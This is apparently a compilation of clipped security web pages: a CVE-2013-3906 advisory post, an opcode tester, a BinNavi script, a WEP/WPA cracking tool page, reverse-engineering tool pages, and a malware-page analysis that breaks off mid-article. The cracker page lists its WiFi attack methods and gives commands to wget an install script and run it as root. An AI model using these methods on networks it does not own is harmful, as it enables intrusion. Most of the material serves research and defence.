telesoft TECHNOLOGIES| LI, SIGINT/COMINT Components, Tactical Monitoring|  Blandford Dorset \(GB\) |   
Teletel| LI|  Athens \(GR\) |   
Thales|  Surveillance, Detection and Intelligence Platform |  Neuilly-sur-Seine Cedex \(FR\) |  \(FR\)   
Trovicor \(previous Nokia/Siemens VDR/LI\)| LI, Monitoring Centers, Siemens
Intelligence Center| Munich \(DE\)| PERUSA Holding  
Utimaco Safeware| Network Monitoring / LI / Data Retention |  Aachen \(DE\) |  SOPHOS \(GB\)   
Ultrareach|  Ultrasurf |  Cheyenne \(US\) |  \-   
Unispeed A/S|  LI |  Copenhagen \(DK\) |   
VASTech|  Network Recording / Passive Surveillance |  Stellenbosch \(ZA\) |   
VERINT \(formerly: Comverse Infosys\)| LI|  Melville, NY \(US\) | NASDAQ: VRNT   
VigiTrust|  LEA & Intelligence Services |  Dublin \(IR\) |   
VOCAL Technologies, Inc.|  LI |  Amherst, New York \(US\) |   
OMNI Wildpackets|  LI / VoIP Monitoring |  Walnut Creek, CA \(US\) |   
ZTE|  LI |  \(CN\) | 

# MS предупреждает об эксплуатации CVE-2013-3906 in-the-wild / Блог компании
ESET NOD32 / Хабрахабр

**Created:**| _11/6/2013 9:40:58 AM_  
---|---  
**Updated:**| _11/6/2013 9:40:58 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

#  **M** S предупреждает об эксплуатации CVE-2013-3906 in-the-wild****

Специалисты компании сообщают , что злоумышленники активно эксплуатируют
Remote Code Execution \(RCE\) уязвимость CVE-2013-3906 в ОС \(Windows Vista
SP2 и Windows Server 2008 SP2\), Office \(2003-2007-2010\) и программе
Microsoft Lync**.** Уязвимость связана с некорректной обработкой TIFF-файлов
изображений различными компонентами ОС и продуктами компании**.** Через
специальным образом сформированный TIFF-файл злоумышленник может
спровоцировать удаленное исполнение кода**.** Файл может быть доставлен через
e-mail сообщение или вредоносную веб-страницу**.** При открытии такого
контента на уязвимой системе, атакующие могут установить вредоносный код в
систему пользователя с получением прав текущей учетной записи**.**  
  
  
  
Полный список уязвимого ПО доступен по ссылке **.**

> Today we released Security Advisory 2896666 regarding an issue that affects
> customers using Microsoft Windows Vista and Windows Server 2008, Microsoft
> Office 2003 through 2010, and all supported versions of Microsoft Lync**.**
> **We are aware of targeted attacks, largely in the Middle East and South
> Asia**.** The current versions of Microsoft Windows and Office are not
> affected by this issue**.**** The exploit requires user interaction as the
> attack is disguised as an email requesting potential targets to open a
> specially crafted Word attachment**.**
Компания рекомендует воспользоваться следующими рекомендациями до выпуска
секьюрити фикса**.**

  * Воспользоваться инструментом Fix it, который доступен по этой ссылке  и отключает кодек воспроизведения TIFF-файлов для ОС и соответствующих установленных продуктов**.** Обратите внимание, что это можно сделать вручную воспользовавшись модификацией значения системного реестра и детальными инструкциями  в разделе Suggested Actions -> Workarounds**.**
  * Воспользоваться инструментом EMET **.** Последняя версия которого \(EMET v4\) уже содержит все рекомендуемые настройки в активном состоянии после установки \(эксплуатируемые приложения уже включены в список контролируемых\)**.** Следующие опции EMET используются для смягчения действий эксплойта: **StackPointer, Caller, SimExec, MemProt**.****

  * CVE-2013-3906 

## комментарии \(0****\)

Только зарегистрированные пользователи могут оставлять комментарии**.**
Войдите , пожалуйста**.**

Пометьте топик понятными вам метками, если хотите или закрыть ****

# UsermodeTest - corkami - a user-mode opcodes tester - reverse engineering
experiments and documentations - Google Project Hosting

**Created:**| _4/7/2011 7:42:53 AM_  
---|---  
**Updated:**| _4/7/2011 7:42:53 AM_  
**Author:**| __  
**Tags:**| _bookmark asm reversing_  
  
UsermodeTest _a user-mode opcodes tester_  
FeaturedUpdated Apr 4 \(2 days ago\) by ange.alb...@gmail.com

# Introduction

this program tests most usermode opcodes, from obsolete to very recent,
including undocumented ones, undefined use or encodings. As well, opcodes used
as anti-debugs, exception triggers, Get IPs...it uses several tricks to be
able to test further than normally expected:

  * using segment 33h trick to test 64b opcodes
  * using ZwAllocateVirtualMemory trick to allocate `[`0000-ffff`]`, so word jumps and returns are working

General FPU/SSE+ opcodes are not included: It's not intended to be complete,
but just stress your emulator/knowledge a bit, and insist on specific points
that are interesting.The whole binary, including the PE structure, is hand-
made in assembly, so your favorite security program might trigger a false
positive warning.

# Details

jumps opcodes:

  * call to word
  * jump short, near, to word, to reg32, to reg16, far
  * return near, near word, far, interrupt

classic opcodes:

  * mov movzx movsx lea xchg add sub sbb adc inc dec or and xor
  * not neg rol ror rcl rcr shl shr shld shrd div mul imul enter leave
  * setXX cmovXX bsf bsr bt btr btc bswap cbw cwde cwd

rare opcodes:

  * xadd aaa daa aas das aad aam lds bound arpl inc jcxz xlatb \(on ebx and bx\) lar
  * verr cmpxchg cmpxchg8b sldt lsl

undocumented opcodes:

  * aam xx, salc, aad xx, bswap reg16, smsw reg32

cpu specific opcodes:

  * popcnt movbe crc32

undocumented encodings:

  * test, 'sal'

os-dependant results:

  * smsw, sidt, sgdt, str, sysenter

nops-equivalent:

  * nop, pause, sfence, mfence, lfence, prefetch`*`, 'hint nop', into, fpu, lock + operators

anti-debuggers:

  * gs, smsw, rdtsc, pushf, pop ss

Get EIP:

  * call, call far, fstenv

Exception triggers:

  * generic int 00-FF , int 2d, illegal instruction,
  * into, int4, int3, int 3, IceBP, TF, bound, lock, in, hlt

documented but frequent disassembly mistakes:

  * bswap, smsw, str, branch hints, word calls/rets/loops, FS:movsd, xlatb, ud

64 bits opcodes:

  * cwde, cmpxchg16, lea RIP, movsxd

# Use

It has currently no options. Just run it from command line, all tests will run
after each other.this is the output you could get under Windows 7, 64bit

[code]

    User-mode opcodes tester v0.1, 2011/04/01  
    Ange Albertini, BSD Licence, 2009-2011 - http://corkami.com  
      
    Info: Windows 7 found  
    testing jumps opcodes...  
    testing classic opcodes...  
    testing rare opcodes...  
    testing undocumented opcodes...  
    testing cpu-specific opcodes...  
    Info: MOVBE not supported  
    testing undocumented encodings...  
    testing os-dependant opcodes...  
    testing 'nop' opcodes...  
    testing opcode-based anti-debuggers...  
    testing opcode-based GetIPs...  
    testing opcode-based exception triggers...  
    testing 64 bits opcodes...  
      
    ...completed!
[/code]

and under XP SP1, running in VmWare:

[code]

    User-mode opcodes tester v0.1, 2011/04/01  
    Ange Albertini, BSD Licence, 2009-2011 - http://corkami.com  
      
    Info: Windows XP found  
    testing jumps opcodes...  
    testing classic opcodes...  
    testing rare opcodes...  
    ERROR: SLDT non null (vm present ?)  
    ERROR: LSL (vm present?)  
    testing undocumented opcodes...  
    testing cpu-specific opcodes...  
    Info: MOVBE not supported  
    testing undocumented encodings...  
    testing os-dependant opcodes...  
    ERROR: SGDT (vm present?) [XP]  
    ERROR: STR reg16 (vm present?) [XP]  
    ERROR: STR reg32 (vm present?) [XP]  
    testing 'nop' opcodes...  
    testing opcode-based anti-debuggers...  
    testing opcode-based GetIPs...  
    testing opcode-based exception triggers...  
    ERROR: privileged instruction (vmware present?) - no exception  
    testing 64 bits opcodes...  
    Info: 64 bits not supported
[/code]

Intermediate messages are displayed then removed, so if it crashes in the
middle of the execution, you'll see instantly where.

# Building

assemble directly with yasm, no linker needed:

[code]

    Yasm -o usermode_test.exe usermode_test.asm
[/code]

* * *
Greetings

  * BeatriX
  * Eugeny Suslikov
  * Gil Dabah
  * Igor Skochinsky
  * Moritz Kroll
  * Oleh Yuschuk
  * Peter Ferrie
  * Sebastian Biallas

  
---

# Scripting with BinNavi – Cyclomatic Complexity | Random stream of chars
**Created:**| _3/26/2012 2:58:26 PM_  
---|---  
**Updated:**| _3/26/2012 2:58:26 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu binnavi_  
  

# Scripting with BinNavi – Cyclomatic Complexity

Posted on December 11, 2009 | 2 Comments
My collegue Sebastian announced a while ago that from version 2.1 of BinNavi
it is possible to run BinNavi scripts without BinNavi itself. Let’s see an
example on how to write a quick script using jython.

In our dummy example we will calculate the cyclomatic complexity of each
function of a given binary.

To keep it short and simple cyclomatic complexity is a metric used to see how
complex in terms of code paths a piece of code is; for a more detailed and
precise description you better look at wikipedia.

This metric can be quite useful for a number of tasks, for example to have an
idea of where bugs may be\(yeah ok, it’s debatable but let’s not start flames
in the first post\).

First off we need to include a few files:

`sys.path.append(os.path.join(os.path.dirname(__file__), "BinNavi.jar"))  
sys.path.append(os.path.join(os.path.dirname(__file__), "REIL.jar"))  
sys.path.append(os.path.join(os.path.dirname(__file__), "mysql-connector-
java-5.1.8-bin.jar"))`

Then, in order to make the script running standalone we need to use this line:

`binNaviProxy = StandAlone.getPluginInterface()`

BinNavi relies on a database to store information on binaries, so before being
able to do any interesting work we first need to locate the binary we are
interested in.

Just as a quit recap for those of you not familiar with BinNavi functions are
stored inside “modules” which can optionally be stored inside “projects”.

So let’s see how to locate functions of interest:

[code]

    class BinNaviDatabaseInterface(object):
        def __init__(self, name, driver, url, user, passwd, isProject = True): 
    
            dbm = binNaviProxy.databaseManager
            dbm.addDatabase("", driver, url, user, passwd, False, False)
    
            self.database = dbm.databases[0]
            self.database.connect()
            self.database.load()
    
            if isProject:
                self.projectName = name
                self.moduleName = None
            else:
                self.moduleName = name
                self.projectName = None
    
            self.isProject = isProject
    
        def retrieveFunctions(self):
            mods = []
            functions = []
    
            if self.isProject is True:
                self.findProject()
                if self.project is None:
                    return None
                mods.extend(self.getProjectModules())
            else:
                self.findModule()
                if self.module is None:
                    return None
                mods.append(self.module)
    
            for module in mods:
                if module.isLoaded() is False:
                    module.load()
                functions.extend(module.getFunctions())
    
            return functions
[/code]

I won’t bother you with details on the code and on how to find modules or
projects\(also because it’s pretty ease to understand\).

Now let’s move to the interesting bit, let’s calculate cyclomatic complexity:

[code]

    class BinNaviComputeCC(BinNaviControl.BinNaviOps): 
    
        def getCC(self, start_addr= 0, end_addr= 0xffffffff):
            #exclude functions that don't belong to the given range
            functions = []
            complexities = []
    
            fn = self.naviDB.retrieveFunctions() 
    
            if fn is None:
            	return None
    
            for f in fn:
                if start_addr <= f.getAddress().toLong() <= end_addr:
                    functions.append(f)
    
            print "Total functions found" , len(functions)
            counter = 0
            for f in functions:
                counter +=1
                #the cyclomatic complexity is calculated as follow: CC = Edges - Nodes + 2
                complexities.append((f, f.getEdgeCount() - f.getBlockCount() + 2))
                print "Function %s done.. %d left\n function edges: %d\n function nodes: %d\n" % (f.getName(), len(functions) - counter, f.getEdgeCount(), f.getBlockCount())
                if f.isLoaded():
                    f.close()
    
            if len(complexities) is 0:
                return None
    
            #sort by cyclomatic complexity value
            complexities.sort(key=operator.itemgetter(1), reverse=True)
    
            return complexities
[/code]

It’s as easy as it gets. First we find all the functions, then we filter them
in order to select only the ones in a given address range, finally for each
function we calculate the cyclomatic complexity \(_Number of Edges – Number of
Nodes + 2_\).

Let’s run it:

[code]

    nemesis:~/Codes/navicoverage snagg$jython naviCC.py "Flash Player" 127.0.0.1 binnavi2.2 naviuser navipassword false
    Total functions found 13975
    Function sub_1820 done.. 13974 left
     function edges: 0
     function nodes: 1
    ...
    [cut]
    nemesis:~/Codes/navicoverage snagg$head navi-cyclomatic
    Function sub_567DE0 has value 1716
    Function sub_538910 has value 1067
    Function sub_114290 has value 1022
    Function sub_4D3330 has value 933
    Function sub_1E2720 has value 686
    Function sub_55FC60 has value 619
    Function sub_46F80 has value 568
    Function sub_32B50 has value 565
    Function sub_3201A0 has value 564
    Function sub_508420 has value 539
[/code]

And now let’s take a look inside BinNavi at _sub\_567de0_ :

<img src='http://viozzo.files.wordpress.com/2009/12/navicc1.png?w=300&h=166'
width='300' height='166' />

It looks pretty complex indeed\!

# Life Science Blog | More CV tips
**Created:**| _11/17/2009 11:01:15 AM_  
---|---  
**Updated:**| _11/17/2009 11:01:22 AM_  
**Author:**| __  
**Tags:**| _career_  
  

## GENERAL SCIENCE

## More CV tips

BY ADMIN ⋅ NOVEMBER 17, 2009 ⋅ POST A COMMENT

**FILED UNDER** CV TIPS, JOBSEEKER TIPS

An interesting CV arrived in last week, something I had not seen before. At
the bottom was a whole paragraph of tags, which the candidate was obviously
hoping would be picked up by our database as it scanned the CV for key word
skills. He CV would then show up in more searches which he then hoped woudl
result in his CV being more visible to us and us calling him more often in
relation to available opportunities. This is similar to “black-hat” webpage
search optimisation which has since been discovered by Google. People would
hide a multitude of keywords in the background text on their website, often in
the same colour oas the background itself \(say white words on a white
background which would be picked up the the search bot\). Needless to say,
this did not look very good on the CV and didn’t strike me as being hugely
professional, for someone that had a lot of experience.

In a market like this for the informed job-seeker, the process is very much
2-way. A consultant who receives a lot of CVs and traffic may not have time to
call you immediately in relation to any new jobs. A great way to stay on top
of things is to be proactive, and technology can help here. I would advise all
people actively searching for jobs to join us on Facebook, Twitter and
especially subscribe to our RSS jobs feed. In this way you are notified as
soon as a new job is posted, and the candidate can therefore call in to the
consultant, something which is far more time-efficient.

1 final tip while we’re on the subject – do NOT apply to more than 2 positions
with any particular company / recruitment agency. It looks unprofessional and
will only damage any application you make more than enhance it. It’s better to
compose a personal email to the consultant listing the positions you believe
you are suited to. Better still is calling the consultant after you have made
an application to get more detail on the various other roles available, in
this way you can quickly figure out how many companies you would like your CV
to go to. In a company setting, most companies have talented in-house
recruiters who will know oif your background is suited to a different role
they have on offer, and will present these to you if they wish to speak to
you. Making more than once application simply presents more admin work for all
parties involved and this reflects badly.

-Brian \(brian dot c at lifescience dot ie\) 
  

# grimwepa - Project Hosting on Google Code

**Created:**| _6/4/2010 1:03:37 PM_  
---|---  
**Updated:**| _6/4/2010 1:03:37 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

**wishinet@gmail.com** | _My favorites_ ▼ | _Profile_ | _Sign out_
<img src='img/Temp2_10269.png' alt='Logo' /> |  grimwepa _WEP and WPA Password Cracker_ |   
---|---|---  
Project Home |  |  Downloads |  |  Wiki |  |  Issues |  |  Source |  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary |  Updates |  People |   
---|---  
<img src='img/Temp2_10270.png' width='15' height='15' /> Star this project  
---  
**Activity:** <img src='img/Temp2_10271.png' /> High  
---  
**Code license:**  
GNU General Public License v3  
**Labels:**  
backtrack, linux, cracker, wpa, wep, wepcracker, wpacracker, aircrack  
**Featured downloads:**  
<img src='img/Temp2_10267.png' /> grimstall.sh  
<img src='img/Temp2_10267.png' /> grimwepa1.10a5.jar  
<img src='img/Temp2_10267.png' /> grimwepa\_1.0.jar  
Show all »  
---  
**Featured wiki pages:**  
Beta  
Installation  
Troubleshooting  
Tutorial  
Show all »  
---  
**Feeds:**  
Project feeds  
---  
**Owners:**  
der...@gmail.com  
---  
People details »  
_GRIM WEPA_ was written in Java and is intended for use with the Linux
Operating System \(specifically the Backtrack 4 distribution\).

## Update: Version 1.10 Beta : Testers Needed\!

If you are interested in helping make Grim Wepa better, please visit the Beta
page for more information.

<img src='img/Temp2_10268.png' />

# Overview

GRIM WEPA is a password cracker for both WEP and WPA-encrypted access points
\(routers\). This program uses the following applications and suites:

  * **aircrack-ng suite:**

  * aircrack-ng, to crack WPA and WEP; 
  * airodump-ng, to capture packets and find access points; 
  * airmon-ng, to enumerate devices in monitor mode; 
  * aireplay-ng, to forge and replay packets; 
  * and packetforge-ng, to create replay packets. 

  * iwconfig, to see if devices are in monitor mode; 
  * xterm, to show output to user; 
  * ifconfig, to get the MAC address of devices; 
  * macchanger, to change MAC address of wifi cards. 

These applications are **required** for GRIM WEPA to run properly. All of
these applications come standard with Backtrack4.

_note: the settings & configuration file for Grim Wepa is saved to
/etc/grimwepa.conf_

# Recent Changes

**Version 1.0**

  * Added Power column to list; 
  * Fixed Injection Test bug; 
  * Save cracked keys to a file \(pass.txt\), including SSID and type; 
  * Display previously-cracked keys based on SSID target click. Displays below list after program is restarted; 
  * Fixed errors when using directories or files with spaces in them; 
  * Hid "Change MAC" button, forced MAC Address change when doing client-based attack... MAC changes back automatically \(thx SV\!\); 
  * \(new in v1.02\) Now compatible with the _Intel 4965 chipset\!_ This chipset requires the use of wpa\_supplicant to do a fake-authentication, and the program automates this process during a WEP attack. 

# About

GRIM WEPA's cracking methods are archaic and have been around for years. It
simply uses the existing cracking methods in aireplay-ng \(for WEP\) and
aircrack-ng \(for WPA\). Grim Wepa is similar in style and functionality to
shamanvirtuel's Spoon series \(SpoonWEP, SpoonWPA, and SpoonDRV\). The Spoon
suite is still available, though it is not kept updated.

The Backtrack 4 Linux distribution has a default WEP/WPA cracker, but it does
not work properly for me; also, the Spoon series does not run properly for me
on BT4, so I created GRIM WEPA for myself and as an homage to shamanvirtuel.

# Options

GRIM WEPA has only two options: Crack WEP-encrypted access points \(routers\)
and crack WPA-encrypted access points. The program can search for new targets,
and auto-selects your cracking method. The options for each method are as
follows:

### Attacks for WEP-encrypted Access Points

  * ARP-Replay attack 
  * Chop-chop attack 
  * Fragmentation attack 
  * p0841 attack 
  * Cafe-Latte attack 
  * Cracking options: 

  * aircrack-ng is able to crack just about any WEP password after about 20,000 IV \(Initialization Vector\) data packets have been captured. The capture usually takes about 2 minutes, and the crack another 2-3 minutes. 

### Attacks for WPA-encrypted Access Points

  * Basic deauthorization attack to get handshake. 
  * Cracking: 

  * GRIM WEPA includes a 2MB default password list containing approximately 250,000 commonly-used passwords. 
  * Wordlist / Dictionary / Brute-force attack: Currently, there is only one consistent method of cracking WPA, and that is by brute force. aircrack-ng can crack hundreds of passwords per second, so this method is not nearly as arbitrary as has been proposed. 

# Execution

To run GRIM WEPA, navigate to the file's location in Terminal and type:

[code]

    java -jar grimwepa_X.X.jar
[/code]

at the command line prompt, where **X.X** is your version of grimwepa.

**Run GRIM WEPA as _root\!_**

I have posted a Step-by-Step Tutorial, and also a Troubleshooting Guide.

# Installation

**Installation is not required for GRIM WEPA to run properly, but it is
recommended if you use are going to GRIM WEPA frequently.**

GrimWepa can be downloaded and installed by running the "grimstall.sh" script.

**For Backtrack Users:** To download the install script via wget, change
permissions on it, and run the install script \(which will download the latest
version of grimwepa and install it\), copy-and-paste the below code into
console \(as root\!\):

[code]

    wget http://grimwepa.googlecode.com/files/grimstall.sh  
    chmod 755 grimstall.sh  
    ./grimstall.sh install  
    
[/code]

 _Note: Change the directory from /pentest/wireless/grimwepa/ to whichever
directory you want to install to ; /pentest/wireless is commonly found in
Backtrack distributions ; all files in the selected directory will be deleted
\(a prompt will confirm this\);**don't forget the / at the end\!**_

**A more-detailed installation guide can be found****here, in the wiki.**

# Sample Videos

Thanks to Weasek from the Backtrack-Linux forums for providing these videos\!

**An example of using the WEP Fragmentation attack:**

**And an example of the WPA attack \(deauthentication, handshake, and brute-
force dictionary attack\):**

# Disclaimer

This program is for educational and personal use only. I do not condone
cracking other people's access points -- that is illegal\! Please use this
program to show others the importance of strong passwords and the weaknesses
found in the WEP protocol\!

  
  
  
  
  
  
  
  

©2010 Google - Terms \- Privacy \- Project Hosting Help

Powered by Google Project Hosting

# TitanMist | www.reversinglabs.com | Reverse Engineering & Software Protection
**Created:**| _8/2/2010 7:38:21 PM_  
---|---  
**Updated:**| _8/2/2010 7:38:46 PM_  
**Author:**| __  
**Tags:**| _windows reversing Malware-analysis programming collab_  
  

## TitanMist

  * Download whitepaper
  * Download presentation
  * View presentation
  * Download TitanMist
  * Download TitanMist Source

Security is notoriously disunited. Every year multiple tools and projects are
released and never maintained. TitanMist is its inverse opposite. Built on top
of TitanEngine, it provides automation and manages all known and good PEID
signatures, unpacking scripts and other tools in one unified tool. TitanMist
is the nicely packaged and open source catch all tool that will become your
first line of defense. The project also goes beyond pure tool development. It
builds a forum to share information and reverse engineering experience built
around the biggest online and collaborative knowledge base about software
packers.

With the increase in packed and protected malicious payloads, collaboration
and quick response between researchers has become critical. As new sample
numbers are quickly closing to 40M samples per year, solution to this problem
has to come from reverse engineers themselves, integrating the work that they
have done in the past and they continue to do. Huge databases of format
identification data and unpacking scripts can be reused in a way to maximize
automation. Yet, where do we find a definite collection of functional tools,
identification signatures and unpacking tools? And how do we integrate them in
a meaningful and accurate way?

TitanMist approaches these problems in a manner recognizable to every reverse
engineer. It aims to mimic, but automate, the reversing process enabling
everyone to easily create unpackers and integrate them in an extensible
system. This builds a powerful and fast growing community analysis tool.
Overcoming the most basic problems of reverse engineering problems was the top
priority for the TitanMist project. Hoping to bridge the programming knowledge
barrier which troubles many reverse engineers TitanMist introduces a variety
of programming languages in which unpackers can be written in.

TitanMist goes beyond languages that compile to native code relying heavily on
popular and easy to learn script languages. Backed up by LUA and Python this
project makes coding unpackers a much simpler task. However the challenge of
making TitanMist as easy to adopt and extend as possible meant that the
project has to go further than extending support for more programming
languages. Knowing that most of reverse engineers are familiar with debugger
level script language OllyScript we added the support for it as well. Combined
with the full TitanEngine functionality these scripts become powerful
automated unpackers which combined with the layer of file format
identification create a unique database of file analysis tools.

## Download

  * TitanMist / TitanMist Source
  * BlackHat Vegas 2010 whitepaper
  * BlackHat Vegas 2010 presentation

# Introducing: Senrio Discovery

**Created:**| _5/25/2018 10:45:27 AM_  
---|---  
**Updated:**| _5/25/2018 10:45:27 AM_  
**Author:**| _wishi_  
**Tags:**| _iot asset-discovery_  
  

  

##  Introducing: Senrio Discovery

5/16/2018

## Simple, Fast, Accurate IT & IoT Asset Identification  
  
The most fundamental aspect of IT or IoT system administration and security is
understanding what is in your enterprise. You cannot manage or secure what you
do not know you have. Whether your concern is security and preventing
surprise, or definitive knowledge to support compliance, licensing, or service
agreements, it all starts with a comprehensive understanding of what is using
your bandwidth.  
  
Senrio Discovery is a lightweight version of our flagship product, Senrio
Insight. It quickly identifies devices that are connected to your network:
what you bought, what people bring \(BYOD\), and what you don’t know about
\(Shadow IT\). Our extensive database of connected devices and adaptive
learning technology enables us to rapidly identify known and previously
unknown devices. Export that device data in .csv format for ingest into your
preferred asset management or other administrative, visualization, or security
tools.  
  

* * *
## How to Get Started

1\. Sign-up, download a copy of Discovery \(Windows or Linux\), install. <img
src='img/Temp2_4548.png' width='483' height='387' alt='Picture' /> ​2. Load a
pcap of your network traffic into Discovery. <img src='img/Temp2_4547.png'
width='489' height='391' alt='Picture' /> 3\. Discovery will immediately begin
to process the data and show you what it found <img src='img/senrio-identify-
demo-mousing-over-devices_1_orig.gif' width='600' height='495' alt='Picture'
/> ​If you need to, export the data you've collected in .csv format \(other
formats available in paid versions or Insight\) <img src='img/senrio-identify-
demo-exporting-report_orig.gif' width='600' height='495' alt='Picture' />

* * *
Senrio Discovery is a way for organizations to quickly and painlessly understand what their enterprise is really made of, without exposing potentially sensitive data to a third-party, or going through the necessary, but time-consuming process of getting approval to install and test an enterprise software solution in a production environment. If you like what Discovery does, understand that it is a small subset of what Insight can do for you. | Feature | Senrio Discovery | Senrio Insight  
---|---|---  
Asset Identification \(IT\) | X | X  
Asset Identification \(IoT\) | X | X  
Audit Support | X | X  
Compliance Support | X | X  
Configuration Management | X | X  
License Management | X | X  
Maintenance Support | X | X  
Procurement Support | X | X  
Searchable Asset List | X | X  
Policy Validation | Limited | X  
CSV Data Export | X | X  
Other Format Data Export |  | X  
Agentless | X | X  
Asset Visualization | Limited | X  
Unlimited, Continuous Device ID | Paid | X  
Behavioral Analytics |  | X  
Searchable Netflow |  | X  
API Access |  | X  
Integrations \(SIEM, etc.\) |  | X  
Real-Time Notification of New Devices |  | X  
Anomaly Detection, Real-Time Alerts |  | X  
Multi-User w/Account Mgt |  | X  
**Pricing: $0**  
  
Register, download, and run Senrio Discovery, and you may run up to 10 pcap
ingests or 100GB of pcap data \(whichever comes first\) for free. You will
also be eligible for a discount on paid versions of Discovery, as well as
Senrio Insight.  
  

* * *
/\* Please be advised that for the time being, we cannot support home/personal
users. We love to tinker too, and we know sometimes people like to test drive
things at home before they bring them up at work, but right now we have to
concentrate on business customers. You're welcome to sign up with your
personal info, but just understand that you'll be going to the end of the
queue for the time being. \*/

1\. Name

2\. Title

3\. Company

4\. E-mail

5\. Phone Number

6\. Have you spoken to Senrio before?

1 of 6See AllGo Back

<img src='img/sd.5afe105a95de82.33101561.png' width='256' height='90'
alt='Registration Form' />

Registration Form

Get access to Senrio Discovery

6Questions

<img src='img/sd.5afe105a95de82.33101561.png' width='500' height='176'
alt='Senrio Discovery Sign-Up' />

  * 1
Name\* This field is required

First Name

Last Name

Press  
Enter

  * 2
Title\* This field is required

Press  
Enter

  * 3
Company\* This field is required

Press  
Enter

  * 4
E-mail\* This field is required

Press  
Enter

  * 5
Phone Number

Area Code

Phone Number

Press  
Enter

  * 6
Have you spoken to Senrio before?\* This field is required

Yes

No

Press  
Enter

<img src='' width='0' height='0' alt='jftr' />

* * *
IoT Security Fails with PC-Based Thinking The Internet of Things may be a
proliferation of computers, but the approaches to computer securi... Oct 16,
2017 15:13

Introducing: Senrio Discovery Simple, Fast, Accurate IT & IoT Asset
Identification The most fundamental aspect of IT or IoT sys... May 16, 2018
22:13

Side Effects As security people we’ve always got an eye out for solutions that
address very pressing, substant... May 8, 2018 16:05

Lateral Attacks Between IoT Devices: The Technical D... We all know by now
that IoT is vulnerable, and after our survey of vulnerable remote
configuratio... Apr 19, 2018 22:30

RSA 2018: How to Daisy Chain Vulnerable IoT Devices ... At the annual RSA
conference this year , on April 19th, our CTO, Stephen Ridley , and our VP of
R... Apr 16, 2018 17:00

Medical IT Breach Response: Cure Worse Than The Dise... Related Post: Medical
Device Integrity ​ “Breaches of private information in hospital records a...
Mar 29, 2018 15:01

Free IoT \(Security\) Infographic The IoT Landscape: more than just consumer
gadgets... To jump straight to the infographic, scroll... Mar 26, 2018 17:01

A Little Slack\(ing\) Off is a Good Thing Does your team use Slack to
collaborate? If so, we've released a thing that you might like ;-\) A... Mar
23, 2018 7:00

Senrio Support Chat Related : "Senrio Integrates with Slack\!" If you follow
our blog here, you've periodically seen o... Mar 19, 2018 7:00

The Internet of Things \(and its problems\) in a Nutshell Submitted for your
approval, our effort to encapsulate a brief history of IoT, the scope of its
i... Mar 14, 2018 20:24

Why Are My IoT Devices Surfing the Web? The ingenuity and audacity of
attackers should never be underestimated . In the summer of 2016, h... Feb 9,
2018 8:00

Number of Internet-accessible ICS components is incr... The number of
industrial control system \(ICS\) components – which run factories, transport,
power ... Feb 9, 2018 8:00

RSA Partners with Senrio to Bring Visibility to the ... January 30th –
Portland, OR – Senrio, Inc., provider of the leading IoT visibility and
security s... Jan 30, 2018 14:00

IoT Security is For Our Children The rate at which the Internet of Things
\(IoT\) is growing speaks to the utility of connecting the... Nov 17, 2017
15:13

What You Should Do About KRACK One example of how an attacker could gain
access to sensitive traffic on a WPA2 secured network F... Oct 19, 2017 13:45

IoT Security Fails with PC-Based Thinking The Internet of Things may be a
proliferation of computers, but the approaches to computer securi... Oct 16,
2017 15:13

Introducing: Senrio Discovery Simple, Fast, Accurate IT & IoT Asset
Identification The most fundamental aspect of IT or IoT sys... May 16, 2018
22:13  
---  
__Tweet  
  

# PowerShellMafia

**Created:**| _7/17/2017 11:36:17 AM_  
---|---  
**Updated:**| _7/17/2017 11:36:17 AM_  
**Author:**| __  
**Tags:**| _bookmark powershell_  
  

  

* ###  CimSweep
CimSweep is a suite of CIM/WMI-based tools that enable the ability to perform
incident response and hunting operations remotely across all versions of
Windows.

Past year of activity

PowerShell  256  58  Updated 25 days ago

* ###  PowerSploit
PowerSploit - A PowerShell Post-Exploitation Framework

Past year of activity

PowerShell  2,782  1,075  Updated 29 days ago

* ###  PowerSCCM
PowerSCCM - PowerShell module to interact with SCCM deployments

Past year of activity

PowerShell  99  35  Updated on Jan 18

* ###  WinPETools
A module designed to simplify the creation, customization, and deployment of
bootable Windows Preinstallation Environment \(WinPE\) images.

Past year of activity

PowerShell  43  26  Updated on Mar 15, 2016

#### Top languages

PowerShell

0

#### People

This organization has no public members. You must be a member to see who’s a
part of this organization.

  

# VRT: Quick analysis of a webpage leveraging CVE-2010-1885 \(aka the help and
support center vulnerability\)

**Created:**| _8/12/2010 5:01:24 PM_  
---|---  
**Updated:**| _8/12/2010 5:01:24 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

## Tuesday, August 10, 2010

### Quick analysis of a webpage leveraging CVE-2010-1885 \(aka the help and
support center vulnerability\)

In a previous blog post I was writing about an increase in attacks against an
at the time, un-patched vulnerability. Microsoft patched it on July 13, which
doesn't mean that people aren't still trying to own un-patched machines.

goodgirlsbadguys.com \(213.155.12.144\) is a domain registered on July 19 2010
with a registrant address listed in Cambodia. Visiting a particular webpage
for that domain \(trust me and don't go there...despite the name there is
nothing juicy on this domain except pwnage\) returns a URL as part of an
iframe. Microsoft Help and Support Center is invoked with a few parameters,
one of which is the URL obtained earlier:<img
src='img/KB2286198_help_center_command_line.png' width='400' height='250'
alt='KB2286198_help_center_command_line' />  
Pic.1: Help and Support Center  

Notice the use of the keyword "crimepack" in the hcp:// request.  
  
In a randomly named file \(in this case, "bat.vbsautba" in c:\Documents and
Settings\user\Local Settings\Temp the following html can be found:

<img src='img/KB2286198_dropped_file.png' width='300' height='100'
alt='KB2286198_dropped_file.png' />  
Pic.2: Dropped file with random name  

Later, the command line utility is invoked with the following parameters:

<img src='img/KB2286198_cmd_exe.png' width='400' height='250'
alt='KB2286198_cmd_exe.png' />  
Pic.3: cmd.exe called to run script...and kill Windows Media Player  

The script that is executed is called D.vbs:

<img src='img/KB2286198_wscript_exe.png' width='400' height='250'
alt='KB2286198_wscript_exe.png' />  
Pic.4: D.vbs  

Snort detects this Windows Help Center escape sequence cross-site scripting
attempt with sid 16665:

[code]

